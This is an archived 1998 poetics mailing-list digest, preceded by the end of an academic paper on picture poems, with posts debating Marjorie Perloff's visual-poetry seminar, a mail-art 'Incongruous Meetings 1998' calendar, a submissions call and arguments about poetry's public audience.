mutatis mutandis, about the disintegration of romanticism, after a provisional formulation, into the ensuing various types of mannerism.

"The discontinuity of manneristic devices in general, and of picture poems in particular, throughout the history of literature, can be accounted for, then, by a model suggesting an internal dynamics of alternating periods of provisional formulation and of disintegration, in which "the centre cannot hold".

"There seems to be general consensus as for the artificiality of the graphemic patterning of picture poems, as compared to the relative naturalness of the various kinds of phonetic patterning prevalent in all kinds of poetry. But only very few people do ask why graphemic patterning should be less natural than phonetic patterning; and even fewer people give an answer to this question based on Liberman's findings concerning the unique nature of speech. It should be noticed that Liberman's conception is tailor-made for explaining this relative unnaturalness. At the same time, the general consensus as for the relative unnaturalness of graphemic patterning might serve as weighty evidence in favour of Liberman's conception of speech perception, as opposed to the received view.

"I still owe an explanation why mannerism tends to occur during "periods of great social, political and ideological upheaval, when more than one scale of values prevail". I have elsewhere discussed at considerable length (e.g., Tsur, 1987: chapter 9; 1992 a: chapter 15), the cognitive functions fulfilled by such typical metaphysical devices as the metaphysical pun and conceit, and used these functions in an effort to explain the effects of those devices on the readers. The gist of my argument is that the metaphysical pun and the metaphysical conceit are adaptive devices turned to an aesthetic end. In a socio-cultural situation in which disintegration exceeds the degree that could be handled by cognitive integrating devices deployed by e.g. romanticism, one must cope with emotional disorientation by resorting to some more effective adaptive devices. As a first orientation device, one might check whether one's adaptation mechanisms are properly tuned. When one is shocked out of tune with one's environment by the clashing emotional tendencies of the grotesque, of the metaphysical pun, or of the metaphysical conceit then, as suggested by Sypher, one tries to readjust himself so as to regain aesthetic distance. In the course of this, our own coping mechanisms with the environment, and especially the linguistic mechanisms involved in this process, become perceptible to ourselves. Some similar process of disorientation and readjustment may be at work when the

reader attempts to integrate the visual design superimposed upon the verse lines with the rest of the poem, at least in the most extreme instances.

ABSTRACT:

Picture Poems; Concrete Poetry; typographic patterning; literary history; Mannerism; Metaphysical Poetry; signifier-signified; Cognitive Poetics; calligrams; phonetic patterning.

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Reuven Tsur

Picture Poems:

Some Cognitive and Aesthetic

Principles

Abstract

This paper explores some cognitive and aesthetic principles concerning picture poems. It conceives of language as of a hierarchy of signs: the graphemic string signifies a phonological string which signifies units of meaning which signify referents in extralinguistic reality. Our linguistic competence urges us to reach the final referents as fast as possible. Poetic language draws attention to itself, that is, to the hierarchy of signifiers. In manneristic styles there is a greater awareness of the separateness of signifiers than in non-manneristic styles; hence their witty or disorienting effect. While rhyme, metre, alliteration impose additional patterning upon the phonological signifiers, picture poems, acrostich, and some other manneristic devices impose additional patterning upon the graphemic signifiers. When alliterations are turned into puns, they become manneristic patterning of the phonological signifier. It is argued, by analogy with synaesthesia, that stable characteristic visual shapes obstruct smooth perceptual fusion; and based on speech perception, that speech sounds are special in our cognitive economy, and visual patterning cannot achieve the naturalness of their patterning. That is why visual patterning is not admitted in non-manneristic styles. Cognitive poetics suggests that in the response to poetry, adaptive devices are turned to an aesthetic end. In a universe in which "the centre cannot hold", readers of poetry find pleasure not so much in the emotional disorientation caused by mannerist devices, but rather in the reassertion that their adaptive devices, when disrupted, function properly. This is one reason for mannerist styles to recur in cultural and social periods in which more than one scale of values prevail.

Keywords: Picture Poems; Concrete Poetry; typographic patterning; literary history;
Mannerism; Metaphysical Poetry; signifier-signified; Cognitive Poetics;

calligrams;
phonetic patterning.

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Original file name: Picture Poem abstract - converted on Wednesday, 18 June 1997, 07:03

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848. **Marjorie Perloff**
Re: The Perloff Seminiar
Tue 27 Jan 1998

I feel like Alice in Wonderland--curiouser and curiouser--as I read these posts about "my" seminar, mostly totally speculative.

All the sinister things attributed to me and to the course seem to have nothing to do with reality. So here's a little reality check, gang.

the Stanford English dept, as Maria, a star graduate well knows, is not given to having many grad courses in poetry: mostly it might be Pound & Eliot, sometimes (Al Gelpi), Black Mountain, sometimes (gil Sorrentino)--Williams and very occasionally the Objectivists. John Felstiner teaches courses that include Lowell, Bishop, etc.

There has never been a course in visual poetry, concrete poetry, sound poetry or any thing similar in the 10 years I've been here. Most of my colleagues don't know what "concrete poetry" is, never mind post-concrete, materialist poetics, or any related item. One of them asked me what an artist's book is.

In these circumstances--quite typical, by the way--I thought it might be fun to organize a course that would stress the visual elements in poetry and look at some of the new work. So I picked representative texts from Apollinaire and Pound on down, beginning with the CALLIGRAMMES and Pound's ideograms. I could have easily picked 10 alternate lists. For instance: I'm sorry I'm not doing Duchamp whose visual poetics are very important to me. I picked Darren Werschler-Henry because I think NICKELODEON is an exciting, innovative book but I might just as well have picked Christian Bok's CRYSTALLOGRAPHY, which I love. I chose books that I find interesting. I do think as the professor, that's my right. Courses are not advocacy forums but designed to TEACH.

So who is Bob Grumman to tell me my course is not REALLY about visual poetics? What does this mean? If Bob teaches a course than obviously he can choose his texts. He might not choose the OUT OF EVERYWHERE anthology which I love (and which certainly has visual poems in it--see the Diane Ward, for example) and that would be his privilege. But obviously any course is personal; there's no such thing as "coverage".

I hope this is the end of this thread because I find it so counterproductive. And also coercive: how can anyone tell anyone else what works they should/must teach?

Marjorie Perloff

↑ Index

849. **Miekal And**

[Fwd: IM98 update2]

Tue 27 Jan 1998

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by westbyserver.westby.mwt.net (8.8.7/8.8.6) with SMTP id BAA23447
for <[redacted]>; Tue, 27 Jan 1998 01:07:11 -0600 (CST)
From: "Vittore Baroni" <[redacted]>
To: <[redacted]>
Cc: <[redacted]>, <[redacted]>, <[redacted]>,
<[redacted]>, <[redacted]>
Subject: IM98 update2
Date: Tue, 27 Jan 1998 08:18:21 +0100

INCONGRUOUS MEETINGS 1998 (IM98)
Update n.2
January 1998

UNSUSCRIBE: if you do not want to receive anymore these bi-monthly updates, simply answer to this e-mail with "STOP IM98".

THANKS: to Joel S.Cohen/Ragged Edge Press for printing a bunch of IM98 leaflets; to the magazines P.O.Box, ANNA and AMANITA (e-mail mag) for spanish translations; to TAM/IUOMA <http://www.geocities.com/Paris/4947/> and VIVA LAS VEGASTAMPS <http://www.stampo.com/meeting.html> for posting the invites in their web sites. The meetings that have already taken place are omitted from this version of the IM98 list, a complete documentation will be included in the final catalogue-calendar.

TO THE TOP
WHEN: whenever two or more networkers meet in 1998.
WHERE: any mountain top.
WHAT: whenever two or more networkers meet in 1998, on any mountain top ,

there an IM98 takes place.
WHO: a convocation by H. R. Fricker.
WHY: to be on top.

INTERNATIONAL TAX FORM DAY
WHEN: on the day the taxes are due.
WHERE: in every Country where taxes are paid.
WHAT: rip the tax form in tiny pieces and throw it in the water-closet while reciting lines from "The Divine Comedy".
WHO: Umberto Principi/MAGAM.
WHY: to wait for the tax collector and pay also the additional taxes...

I SANTINI DEL PRETE MEETING
WHEN: from January 1st to December 31st 1998.
WHERE: anywhere but preferably in a train station.
WHAT: choose a person with whom you will create an intense common feeling, identifying yourself with I Santini Del Prete (lit."the priest's saint holy pictures", a duo of railwaymen-performers). Send a photo to R. Del Prete, C.P. 133, 57013 Rosignano Solvay, Li, Italy. Catalogue in 1999.
WHO: a project by Franco Santini and Raimondo Del Prete.
WHY: you are I Santini Del Prete!

FRIDAY THIRTEEN
WHEN: on Friday 13th February, March and November 1998.
WHERE: a place of normality (like a town square).
WHAT: all participants will shout abusive remarks to normal passers-by.
WHO: minority groups (race, gender, disability).
WHY: to make everyone else feel crap for a moment, before going on unaffected by the meeting. To try and raise a sense of oneness.

PIG DADA MEETING
WHEN: on February 28th, 1998, at 3pm.
WHERE: "De Rinck" cultural center, 7 Place de la Vaillance - Dapper Heidsplein 7 and Kapittel straat 11, 1070 Anderlecht, Bruxelles.
WHAT: all about pigs. Pig show and mail art event and performances.
WHO: expoporc. Baudhuin Simon.
WHY: to oink oink together.

WORLD-WIDE RESISTENCE DAY
WHEN: 28th February,1998.
WHERE: at OVUM Gallery, Azara 3744, Montevideo, Uruguay.
WHAT: a lemon-tree growing in a rock.
WHO: Clemente Padin, C.Correo Central 1211, 11000 Montevideo, Uruguay.
WHY: to testify the fight in bad conditions.

LET'S TAKE THE GREASE OFF
WHEN: Saturday 21st March 1998.
WHERE: in front or sending to the head office of the italian political party Forza Italia, Viale Monza 137, 20125 Milano.
WHAT: partecipate by mailing or attending in person with a bottle of soap for dishes. Replace the soap label with the wording "Sgrassiamo l'unto" (let's take the grease off).
WHO: a call from Mauro Ceolin and Abbot area .
WHY: Silvio Berlusconi is certain to be the champion of the "religion of freedom", he said he is "the Lord's Anointed", let's take the grease off!!!

A MEETING OF INCONGRUOUS WALKERS
WHEN: on April 1st 1998, around midday.
WHERE: next to the best known public urinal in your town (or the next thing to a public urinal you can find).
WHAT: keep walking in circles around the urinal, making your walk more and more bizarre, bring dada manifestos to read, rip and eat while walking, try to socialize with other funny walkers that may turn up on the occasion.
WHO: a multiple announcement by Luther Blissett.
WHY: to forget the nth multiple of Duchamp's "Fountain" and to remember Monty Python's Ministry of Silly Walks.

MEETING ON THE GATE
WHEN: April 2nd, 1998, hr. 6 PM.
WHERE: Golden Gate Bridge, San Francisco.
WHAT: a walk across the Golden Gate Bridge.
WHO: John Held, Jr. & friends.
WHY: a birthday celebration for Max Ernst.

BOB KAUFMAN POETRY DAY
WHEN: April 18th, 1998.
WHERE: Albany, NY, USA, in various locations to be announced.
WHAT: poetry readings, readings of Bob Kaufman's poems and original work by local poets.
WHO: Dan Wilcox/Poetry Motel Foundation (280 S. Main Ave., Albany NY, 12208-2301 USA).
WHY: to commemorate Bob Kaufman's birth on april 18, 1925 and to celebrate National Poetry Month.

ANTI-TIME NEOIST DAY
WHEN: 6th June 1998, at 6pm.
WHERE: wherever two Monty Cantsins meet.
WHAT: destroy the clocks and watches of the planet with a flaming iron.

WHO: Frater Rudolph Von Prden-heim.
WHY: Ahora Neoismo Siempre!

A MID-YEAR'S DREAM MEETING
WHEN: on June 30st 1998, at midnight.
WHERE: anywhere you rest your head.
WHAT: concentrate your mind on meeting someone in dream, then set an alarm clock to ring at midnight and go to bed early: on waking up, write down what you remember of your oneiric meeting.
WHO: Vittore Baroni/E.O.N., who will publish your dreams in the IM98 catalogue.
WHY: to find a place where dreams can meet.

THERE'RE ONLY TWO SEASONS IN MAINE,
WINTER AND THE 4TH OF JULY
WHEN: July 4th,1998.
WHERE: 216 Post Road, Bowdoinham, Maine 04008 USA.
WHAT: build a fascinating snowman and ice sculptures. Conclude with a snow ball fight followed by fireworks.
WHO: Carlo Pittore.
WHY: time is fleeting: waste not, want not.

INTERSPECIES X-COMMUNICATION WHEN: on July 5th, 1998. WHERE: underwater, in the wild prairie, in the country fair... WHAT: establish a peaceful form of communication with a non-human lifeform (fish, bird, insect, plant, whatever). Document this communication. WHO: Mister Bizarro, renegade pimp for the Church of the SubGenius ™. WHY: to find new terraqueous allies, on the day the Xists will land on this planet.

MORANDI CONSPIRACY MOVEMENT
WHEN: July 20th, 1998.
WHERE: at Artestudio/Afterstudio, via San Bernardino 88, 24028 Ponte Nossa, BG, Italy.
WHAT: all networkers can visit and consult materials about the "Morandi Conspiracy Movement".
WHO: Emilio Morandi.
WHY: to testify belonging to the family of independent artists, no more isolated, and the continuity of the researches in the network.

THE REVOLUTION HAS ALREADY TAKEN PLACE DAY WHEN: September 18th 1998 (from 0 to 24 hr). WHERE: any fucking where. WHAT: on this day everyone will behave as if the revolution had already happened. There will be no good ones and bad ones, no judgement, no restraint and no violence (remember? It has already happened). In the full respect for the others, everyone shall behave as it pleases him/her. Bring your own condoms, drugs and music.The

key number will be 39. WHO: all the persons that, like Sergio Messina/Radio-Gladio, believe that any real change will begin within one's own body/mind. WHY: to prove that anything is still possible.

ARS LONGA VITA BREVIS
WHEN: December 31st 1998.
WHERE: in front of the Museum of Museums, Bouckaerstraat 8, 8790 Waregem,
Belgium.
WHAT: R.I.P.
WHO: Johan Van Geluwe/A.R.T. (Art Recycling Terminal).
WHY: L'art poor l'art / Mort pour l'art / L'or pour l'art.

A-WAKE FOR THE MAIL ART SPIRIT
WHEN: on December 31st 1998, from dusk till dawn.
WHERE: in front of the Art Museum of your town (or the nearest Art Museum).
WHAT: all networkers will meet and light candles, incenses, crackers, burn money or perform other impromptu incongruences, waiting for the insidious 6661 reversed.
WHO: anonymous multiple invite.
WHY: a-wake for the survival of the "mail art spirit" of open, uncompetitive, ethereal, unruly & free exchange.

NOW INVENT YOUR CONVOCATION - ORGANIZE AN INCONGRUOUS MEETING IN 1998!

INCONGRUOUS MEETINGS 1998 (IM98)
(im-personal invite)

Yes, ANOTHER WORLD-WIDE DECENTRALIZED COMMUNICA-TION PROJECT Is about to be unlashed on an unsuspecting planet. You waited enough for it, now here it is, close at hand:

1998: A YEAR OF INCONGRUOUS MEETINGS
in-con-gru-ous adj. (L. incongruus) not congruous
a - lacking harmony or agreement; incompatible.
b - having inconsistent or inharmonious parts, elements, etc.
c - not corresponding to what is right, proper or reasonable; unsuitable; inappropriate.

You have done the hard work already, congressing and lecturing in 1986, re-congressing and networking in 1992, so relax: NOW YOU CAN HAVE FUN.

Participation in the IM98 is open and free to all: mailartists, netsurfers, musicians, shopkeepers, shoplifters, aliens, subgenii, rabbits, rabbis, you-name-it. There is not a single sound reason to meet again but there are all the incongruous reasons in the world, IF YOU CAN JUST THINK UP ONE: so keep working-

sleeping-consuming or FIND A THEME, ORGANIZE AN IM IN 1998 and take part in as many IM proposed by others as you wish/can.

IT IS AS EASY AS THAT:
organize+participate+document (if you care to),
then send your incongruous documentation to
E.O.N., via C. Battisti 339, 55049 Viareggio, Italy
to be included in a free for all Conclusive IM98 Calendar-Catalog.

Nothing and everything may happen at an Incongruous Meeting, so share gibberish and memories, follow your ethereal instinct and start a brand new correspondance.

it goes by six+six+six:
MAC 86 (Mail Art Congress 1986)
+ 6 =
DNC 92 (Decentralized Networker Congress 1992)
+ 6 =
IM 98 (Incongruous Meetings 1998)

So, can we live so far apart for more than 6 years?

DUPLICATE, IMPROVE, REWRITE freely and DISTRIBUTE widely all the texts in this message.

TRANSLATE and ADJUST the IM98 invite in your own language and CIRCULATE it in your country. DESIGN A LOGO, SUGGEST A CONVOCATION, CREATE A (RUBBER)STAMP, INVENT A SLOGAN FOR THE INCONGRUOUS MEETINGS OF 1998.

INCONGRUOUS MEETINGS 1998
Title:
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WHEN:
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CHOOSE A DAY
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ORGANIZE+PARTICIPATE+DOCUMENT

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850. **rsillima**
Popularity of the novel debunked
Tue 27 Jan 1998

Somebody here was expressing how the novel continued to have an audience (ditto theater), while poetry was becoming progressively more isolated.

I want to say hogwash. Last time I checked, there was still just one novel being published for every 6,000 written (compute that into human effort for a

moment), and most novels sell about as well as a book of poems -- under 200 copies. BUT there is an upper end possibility and of course the ever- present potential of "optioning" the book to Hollywood. Out of how many novels published, how many get to be part of Oprah's book club?

That is why somebody like Kathy Acker, writing and self-publishing her early books a chapter every month, seems so startlingly heroic, even 25 years later. It's far better I think to decide to write well and worry about the genre and "acceptance" after.

Recent examples of same would be, say, the Letters of Mina Harker or Laura Moriarty's stunning fiction Cunning.

Thinking of Trout Fishing in America as a poem,

Ron

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851. **Henry Gould**
Re: vizzzipo schtuff
Tue 27 Jan 1998

The conjunction of Scott Pound & Tom Bell's posts (2 people actually agree on something on this list?) re: "vizpo" is interesting. The appeal of the physical hieroglyph, not assimilable into a virtual reality of structured information (Our World Today) is understandable; is it sort of like the romantic's ruin or fragment? or like the imagist's image, taken to its futurist limit.

a book I just bumped into that might be of interest is Vincent Sherry's _Ezra Pound, Wyndham Lewis, and radical modernism_ (Oxford UP, 1993); I haven't read it but it seems to hinge on a concept of the visual as in opposition to the aural. (I guess this was one of Lewis's big ideas.)

Tom Bell's psychological angle seems important too. Think of Olson's focus on the physical local in front of his eyes as a "clue" (fragment, ruin, unassimilable matter) - a thread, a nail, leading to the "resolution" of the mystery. Within the mesmerizing charisma or strange attraction of the poetic field. I think these movement-building sturm & struts need to remember that perhaps the most absolute unassimilable fragment is the individual experience of the artist; what is mesmerizing about the field and what is compelling about the fragment is not its pure materiality or even its unassimilableness but the fact that it beckons TOWARD assimilation - it's a clue; and maybe only a clue to beauty. (a beauty that may, gosh, end up being political too.)

Fragments & collages are always in-relation with the forms & correlations they deny/adumbrate. Dere iz no ezcape four hyou, hyou arr unter mie contrrolll!!!

- Henry Gould, a splinter

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852. **Maria Damon**
Re: the Perloff Seminar
Tue 27 Jan 1998

At 12:45 PM -0500 1/26/98, Mark Prejsnar wrote:
>On Mon, 26 Jan 1998, Maria Damon wrote:
>
>>
>> as someone who works "within" the academy to change it, i agree but with
>> some caveats. for those who feel they can live outside systems, my hat's
>> off to you; but i myself can't take the stress, want health insurance,
>> don't want to be 65 without means of self-support and no relief in
>> sight...there's gotta be room for those of us who don't have the energy to
>> do battle with the daily necessities AND flourish creatively. watching what
>> miekal and lyx have to go through --in some ways its a fabulous life,
>> growing your own food, owning your own means of production, and yes if
the
>> stock market crashed you'd survive better than any of us who are investing
>
>Believe it or not, some of us belong to the working class and do poetry.
>This means (at least if you fight hard enuff for a union, and/or are
>lucky) that it's possible to have medical coverage, a wage, etc. Back to
>the land is not the only alternative to academe!!
>
>Mark P. (for Prole)

i do believe you, and i think it's cool. for me, the academy was the logical choice, since i was a faculty brat and was used to it; it wasn't some exotic bastion to be penetrated and acculturated to.

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853. **David Clippinger**
gustaf sobin
Tue 27 Jan 1998

Could someone please back channel me Gustaf Sobin's address.

Thanks,

David Clippinger

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854. **Dale M Smith**

Popularity of the novel debunked

Tue 27 Jan 1998

"It's far better I think to decide to write well..."

That is the problem with poets and novelists. Still, as a popular form, novels maintain an element of respect and a sense of accesability. Poetry does not have the same cultural place. It appears elitist and out of touch in ways that challenging and difficult novels don't. Toni Morrison and T. Pynchon manage to sell books that are well received. I think because of their historical and ethical examinations they tap a vein of interest in the public. Regardless, there is a demand for novels, not for poetry. I think the rows and rows of novels at Barnes and Nobles, not to mention those hideous cartoons of dead writers, reveal the way in which the book industry is responding to this demand. Of course, those publishers are confused, because they don't know what to sell and novelists aren't doing a much better job than poets. Still, it's Content that will engage. Not formal, lamrof, mrfoal, lamrof challenge. Expedient execution of subject matter is key. Dale.

To: [redacted]

Somebody here was expressing how the novel continued to have an audience (ditto theater), while poetry was becoming progressively more isolated.

I want to say hogwash. Last time I checked, there was still just one novel being published for every 6,000 written (compute that into human effort for a moment), and most novels sell about as well as a book of poems -- under 200 copies. BUT there is an upper end possibility and of course the ever- present potential of "optioning" the book to Hollywood. Out of how many novels published, how many get to be part of Oprah's book club?

That is why somebody like Kathy Acker, writing and self-publishing her early books a chapter every month, seems so startlingly heroic, even 25 years later. It's far better I think to decide to write well and worry about the genre and "acceptance" after.

Recent examples of same would be, say, the Letters of Mina Harker or Laura Moriarty's stunning fiction Cunning.

Thinking of Trout Fishing in America as a poem,

Ron

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855. **MAYHEW**
the whole world's neglect
Tue 27 Jan 1998

Take everyone interested in poetry in this society--say those who know the name of a single living poet. This is a small percentage, surely.

Now reduce the number to those whose interest in poetry is more sigificant--they might actually own a few books and follow the work of a few poets--a somewhat smaller percentage.

Now take those, within this already small group, whose interest is primarily in experimental or avant-garde work; language poetry and the like. What percentage of the above percentage are we talking about? Judging by the poetry selection at the local border's, this will be a low number.

Now take from this group those whose interests are further specialized, say, the devotees of visual poetry. A somewhat smaller sub-group, to say the least. As the number of people decreases, the frustration understandably mounts. The middle-brow poetry fans have their Bill Moyers and Donald Hall, while we must be contented with Marjorie Perloff, who at least places this work into a more public discourse via the academy.

What is my point? I am just trying to provide a somewhat broader perspective. That "noone listens to poetry" is the underlying problem here. This does not diminish its value or significance--but neither is this value in inverse proportion to its audience.

Jonathan Mayhew

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856. **Bob Grumman**
Re: The Perloff Seminiar
Tue 27 Jan 1998

This is a reply to Marjorie Perloff's deft post.

1. My remarks about Marjorie Perloff's seminar were not speculative but based on the syllabus she sent me. That syllabus indicated what poets she was having visit her class, what poets each class was supposed to be about, and what books and other data-sources she thought her students might find useful. I'm sure her seminar is covering more than that, and bravo if it actually touches on the group of people I've been so repetitiously claiming she is ignoring.

2. Marjorie Perloff is to be commended for being far in advance of the great majority of other English professors in the country regarding the newer poetries. That should not put her beyond criticism.

3. As I've said before, I agree that college courses are "not advocacy forums but designed to TEACH." The problem is, as Marjorie Perloff must know, that they also serve implicitly as advocacy forums; they explicitly act as accessibility-granting, publicizing forums. Furthermore, Marjorie Perloff's course is only one, but among the first college courses devoted to visual poetry, and since she is a big name teaching it at a bigtime college like Stanford, there is a more than slight possibility that it will serve as a model for others. It will also tend to influence what goes into the anthologies of the future, which I consider important. Such anthologies are what makes work available to be discovered.

4. I doubt that I ever said or implied that I didn't think Marjorie Perloff's course was "REALLY about visual poetics," only that it covered a lot less of the field than I felt it ought to. Why would it have hurt her to add five or ten titles of books by visual poets she finds uninteresting to her list of twenty or thirty or more supplementary materials? She could have protected her reputation for knowing the good from the bad by noting that she thinks little of them but that perhaps one or two of her students might get something out of them. If I taught a course in visual poetry or poetics, I would emphasize much different poets than Marjorie Perloff is--but I would not ignore her favorites altogether. I would definitely have works by a reasonable number of them on any list of supplementary data-sources I listed.

5. Finally, I've all along NOT been telling Marjorie Perloff what to teach, only what to at least mention the existence of.

Bob G.

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857. **Henry Gould**
Re: Perloff debate
Tue 27 Jan 1998

I AM SO SORRY to write TOO MUCH to this list. I am a list hog. Nevertheless another brief wooden nickel on this issue.

People jump on Grumman for criticizing Perloff's syllabus. Who is immune from criticism? The academy IS powerful. It's a machine. Marjorie Perloff is a friend of poetry because she has a gusto for new, experimental writing. That is just terrific, no doubt about it. But let's look at the "down side". Isn't there something of a conflict of interest, a sort of nepotism, for a working scholar-critic to promote the work of living artists who ALSO depend on the academy for readings, jobs, fellowships & the like? Perloff of course is not alone. Nor is poetry alone (this happens in all the arts, I guess). I don't want to pick on anybody, especially for getting into contemporary work. But where do you draw the line between criticism and blurbs? I thought avant-garde meant

challenging. The best way to be challenging is to challenge yourself. By standing on your own 2 feet. No cozy relationships, no buddy-buddy, no easy praise, no networking, no po-biz, no bullshit. That's the ideal. It requires a modicum of silence, exile & cunning, doesn't it? HOW MUCH OF WHAT WE ARE DOING IS A SMALL PRESS VERSION OF THE NAME GAME? (get out your flagellation- cat o'nines, everybody) (the only absolution is to actually look into some stuff, get into it, read it, understand it, research it, dig into it)

- Henry Gould, a chip off the old block

p.s. I can hear all the replies already. "There is nothing wrong with pushing as hard as you can the work you believe to be excellent & moves you & & ...."

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858. **Bob Grumman**

Re: HUBRISTIC, SIMPLISTIC ASSESSMENT OF VIZPO NEEDS COUNTERING

Tue 27 Jan 1998

Thanks to Aviva for posting something about visual poetry that I suspect Marjorie Perloff would agree with me on. If the passage Aviva quotes from Joseph M. Comte's UNENDING DESIGN: THE FORMS OF POSTMODERN POETRY alleging that visual poets are competing with sound bites is representative of his over-all view of contemporary visual poetry, he needs a lot of help. The passage is also stupid for dealing with the presumed motives of some (unnamed or exemplified) poets rather than their actual work. It's not worth further attention.

I'm glad to see, by the way, that the threads on vizpo are now so active, and contain so much of interest--besides all the annoying mess-up-your-opponent debating tactics instead of addressing issues. There are now too many posts for me to deal with. I'm also getting worn out, I have to admit. I did want to throw in one reaction to a post whose sender I now forget: it is that I don't think many people in visual poetry see it as any next step forward from language poetry but as a series of steps begun some time before language poetry, and continuing, unremarked-upon, simultaneously with language poetry (cross-fertilizing with it from time to time).

That's all from me, probably for the rest of the day. --Bob G.

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859. **J. Kuszai**

CALL FOR WORK

Tue 27 Jan 1998

CALL FOR WORK -- SMALL PRESS COLLECTIVE

A loosely defined group of editors gathered around a website have been charged collectively with seeking work for a new online publication space. There are many fine examples of such web-publishing and THE SMALL PRESS COLLECTIVE hopes to add to that. Each editor controls a section of the site and there may be overlap as well as divergence of interest, between editors and within editors. I don't think any of the other editors are on this list, except Graham and myself, although Taylor Brady might be. So this is a public call for submissions to this forum. Eventually there will be a paper edition, excerpting from the on-line work.

What I'm hungry to find:

Criticism in the vein of BAD SUBJECTS, a e-zine collective based in Berkeley, I believe. That would be politically and social relevant criticism about popular culture, theory, etc.

Criticism in the GOOD new Formalist vein: readings of texts, explanations of technological advances in new work by younger writers, or new work by older writers. These readings can/should be value-laden.

Criticism in a classic Materialist sense: readings of texts should invoke all of the attendant norms of dialectical materialist critical behavior, or inaddendant abnorms...

Creative Writing: poetry, journal entries, fiction, non-fiction creative essays. Writing must be written with words and written by a person. No found poems puhleeze! [writing is defined as text files]

Art Work: pictures of all sorts. Pictures may be abstract or representational and must be considered artwork by the artist. [art is defined here as .gif or .jpeg files]

Please write to me and tell me before you send work. I will scan artwork if that is a problem. Work can be sent on disk to my snail address or sent as an attachment. Text files should be in a pre-6 format for either Mac or PC, although if that is impossible, please let me know.

please forward this, doc.

Joel Kuszai
co-editor
Small Press Collective
PO Box 527
Buffalo, NY 14226
[redacted]

http://www.acsu.buffalo.edu/~kuszai

"Shop at Meow! You'll holler for more!" -- Nick Cave
"Grossly over-rated" -- Alan Greenspan

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860. Eric Blarnes
the key
Tue 27 Jan 1998

THE KEY (IS THE FLEA)

a formulaic ode in tractor-trailertylic hexametres

for Marquis Louis Fortinblatt-Hohenzollern du Pwints

"Expedient execution of subject matter is key,"*
quoth splendiferous Louis the 16th to the flea -
aloft in voluminous hammock at Versailles,
fleas under his legs, mosquitoes in the sky,
unable to read LIAISONS DANGEREUSES
for all the nipping at his privateuses.
"Bring me a heavier novel!" cried the King,
unable to withstand said cruel sting
a moment longer. They brought him DON QUIXOTE,
which forthwith he deployed upon his pinky
(the 3rd) - and thus, expediently, my dear Marquis,
saved France from another flea-bitten monarchy.

- Eric Blarnes

*from Dale Smith posting to Poetics List, 1.27.98

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861. Maria Damon
Re: vizzzipo schtuff
Tue 27 Jan 1998

---

so, like, i'm not really completely sure what visual poetry is, though i have a pretty good idea, is it stuff like concrete poetry? or like hannah weiner's WEEKS, as opposed to her We Teach Silent? i guess it's like bob cobbing, whom cris cheek introduced me to at the XCP conference. what about bpNichol, whose Martyrology book 6 i'm looking at for the first time and adoring? some is visual some not? was the United States of Poetry visual poetry cuz it relied so heavily on the visual for its effect? is American Sign Language visual poetry cuz you have to See it, not Read or Hear it? is kamau brathwaite's later work, where he uses the "sycorax video style" visual poetry (though not as visual as,

say, bob cobbing or r grenier), whereas the earlier work, which only put "foreign" words in italics, but in which line breaks (a visual effect) were central to his overall effect, is *not* visual poetry? i guess it's like any category --when you really examine it you see how porous it is, tho there's a general consensus about what constitutes the critical mass of "vispo" stuff. or maybe not, no consensus, evidenced by the buzz on this list.

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862. **Maria Damon**
Re: vizzzipo schtuff
Tue 27 Jan 1998

---

scott pound wrote among other things: There are those that believe Duchamp challenged the sanctity of art with his ready-mades. I believe he did the opposite, he reinforced it, for the same reason that the langpods extending the limits of the poem reinforces that sanctity of the poem as a capacious entity (kinda like Walt Whitman). So you can call that materiality of you want; I regard it as an infusion of matter into the ever-virtual sphere of the poem. Nothing wrong with that in the least, as long as we remember that it is a nominal materiality that is at work there.

Materiality in poetry SHOULD mean works that brush up against the limits not of _the poem_ but of the real. That is what the best concrete vizpot does. It does not thematize matter; it challenges the audience to view letters and words as real things with a domension and duration all their own, not merely as indices in an overdetermined virtual world of meaning... etc

** this is really interesting and very well put. this is the kind of pithy insight i love to parade in front of my classes as an example of the heart of debates around contemp. poetry. thanks scott.--md

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863. **Robert Hale**
No Robots
Tue 27 Jan 1998

Bob Grumman wrote:

"Furthermore, Marjorie Perloff's course is only one, but among the first college courses devoted to visual poetry, and since she is a big name teaching it at a bigtime college like Stanford, there is a more than slight possibility that it will serve as a model for others. It will also tend to influence what goes into the anthologies of the future, which I consider important. Such anthologies are what makes work available to be discovered."

The assumptions here are pretty big -- that students are like robots, that they will not become interested in vispo and explore it on their own and find out more. Also, that courses modeled after Perloff's will take the same stand.

No doubt that some students will take what they get and leave it, but others will explore the genre on their own (I know I did with other genres). As far as future courses and anthologies go, I get the message from Perloff that resources are slim enough and that she had to go with what she knows.

Let's put some faith in the students and see what happens.

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864. Dale M Smith
the whole world's neglect
Tue 27 Jan 1998

Poetry's got little to do with anything today. I'm not talking about specialized, hermetic stuff. I'm talking about volume. The public. Mainstream values and perceptions. Not because I want to cater to that group, but to acknowledge the real insignificance of poetry compared to other still vital forms. I realize that the novel is more adaptable in a commercial sense, which is really the only sense in which this society deals with anything. But poetry used to market itself in vital and pressing ways. Not everyone's read the Cantos, but a lot folks know who Pound is. And Ginsberg. If nothing else, poetry used to make the public uncomfortable. But poets aren't saying anything worthy of controversy. So. Open the NYTimes review of books and read about the newest from Dildo Dawson. Yee Haw!

To: [redacted]

Take everyone interested in poetry in this society--say those who know the name of a single living poet. This is a small percentage, surely.

Now reduce the number to those whose interest in poetry is more sigificant--they might actually own a few books and follow the work of a few poets--a somewhat smaller percentage.

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be contented with Marjorie Perloff, who at least places this work into a more public discourse via the academy.

What is my point? I am just trying to provide a somewhat broader perspective. That "noone listens to poetry" is the underlying problem here. This does not diminish its value or significance--but neither is this value in inverse proportion to its audience.

Jonathan Mayhew

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865. **pritchpa**
Re: Perloff debate
Tue 27 Jan 1998

Henry expresses a laudable - but forgive me for saying so - naive faith in the idea of rugged individualism with the quaint phrase "standing on his own 2 feet." Show me, please, the person who has lived that has done this and I'll forthwith eat my Bronco jersey. There ain't no such animal, old chum. Here we are, engaged in this electronic medium of debate and exchange, subscribing to the attempt to foster a new expression of poetic community, and against this appears the goofy idea - the queer utopian notion - of trying to peddle the in-defiddle as Island: monadology rearing its gorgon maw again oh cut it out please. In my experience, people who proffer the bootstrap theory have very little real world experience and by that I mean, mixing it up with the brethern in the business world, the money world, the school world, the so-called professional world, that is, the world of compromise and action of which the field of cultural production is but a part. If they're at all successful, count on a field of unmarked (i.e. unacknowledged) graves -

